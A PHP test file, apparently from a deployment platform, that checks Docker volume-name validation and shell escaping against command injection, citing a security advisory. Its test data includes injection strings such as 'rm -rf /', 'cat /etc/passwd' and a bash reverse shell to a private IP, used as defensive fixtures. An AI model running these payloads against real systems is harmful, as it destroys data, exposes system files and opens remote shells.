99 lines
3.2 KiB
PHP
99 lines
3.2 KiB
PHP
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<?php
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/**
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* Persistent Volume Security Tests
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*
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* Tests to ensure persistent volume names are validated against command injection
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* and that shell commands properly escape volume names.
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*
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* Related Advisory: GHSA-mh8x-fppq-cp77
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* Related Files:
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* - app/Models/LocalPersistentVolume.php
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* - app/Support/ValidationPatterns.php
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* - app/Livewire/Project/Service/Storage.php
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* - app/Actions/Service/DeleteService.php
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*/
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use App\Support\ValidationPatterns;
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// --- Volume Name Pattern Tests ---
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it('accepts valid Docker volume names', function (string $name) {
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expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(1);
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})->with([
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'simple name' => 'myvolume',
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'with hyphens' => 'my-volume',
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'with underscores' => 'my_volume',
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'with dots' => 'my.volume',
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'with uuid prefix' => 'abc123-postgres-data',
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'numeric start' => '1volume',
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'complex name' => 'app123-my_service.data-v2',
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]);
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it('rejects volume names with shell metacharacters', function (string $name) {
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expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0);
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})->with([
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'semicolon injection' => 'vol; rm -rf /',
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'pipe injection' => 'vol | cat /etc/passwd',
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'ampersand injection' => 'vol && whoami',
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'backtick injection' => 'vol`id`',
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'dollar command substitution' => 'vol$(whoami)',
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'redirect injection' => 'vol > /tmp/evil',
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'space in name' => 'my volume',
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'slash in name' => 'my/volume',
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'newline injection' => "vol\nwhoami",
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'starts with hyphen' => '-volume',
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'starts with dot' => '.volume',
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]);
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// --- escapeshellarg Defense Tests ---
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it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) {
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$command = 'docker volume rm -f '.escapeshellarg($maliciousName);
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// The command should contain the name as a single quoted argument,
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// preventing shell interpretation of metacharacters
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expect($command)->not->toContain('; ')
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->not->toContain('| ')
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->not->toContain('&& ')
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->not->toContain('`')
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->toStartWith('docker volume rm -f ');
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})->with([
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'semicolon' => 'vol; rm -rf /',
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'pipe' => 'vol | cat /etc/passwd',
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'ampersand' => 'vol && whoami',
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'backtick' => 'vol`id`',
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'command substitution' => 'vol$(whoami)',
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'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)',
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]);
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// --- volumeNameRules Tests ---
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it('generates volumeNameRules with correct defaults', function () {
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$rules = ValidationPatterns::volumeNameRules();
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expect($rules)->toContain('required')
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->toContain('string')
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->toContain('max:255')
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->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN);
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});
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it('generates nullable volumeNameRules when not required', function () {
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$rules = ValidationPatterns::volumeNameRules(required: false);
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expect($rules)->toContain('nullable')
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->not->toContain('required');
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});
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it('generates correct volumeNameMessages', function () {
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$messages = ValidationPatterns::volumeNameMessages();
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expect($messages)->toHaveKey('name.regex');
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});
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it('generates volumeNameMessages with custom field name', function () {
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$messages = ValidationPatterns::volumeNameMessages('volume_name');
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expect($messages)->toHaveKey('volume_name.regex');
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});
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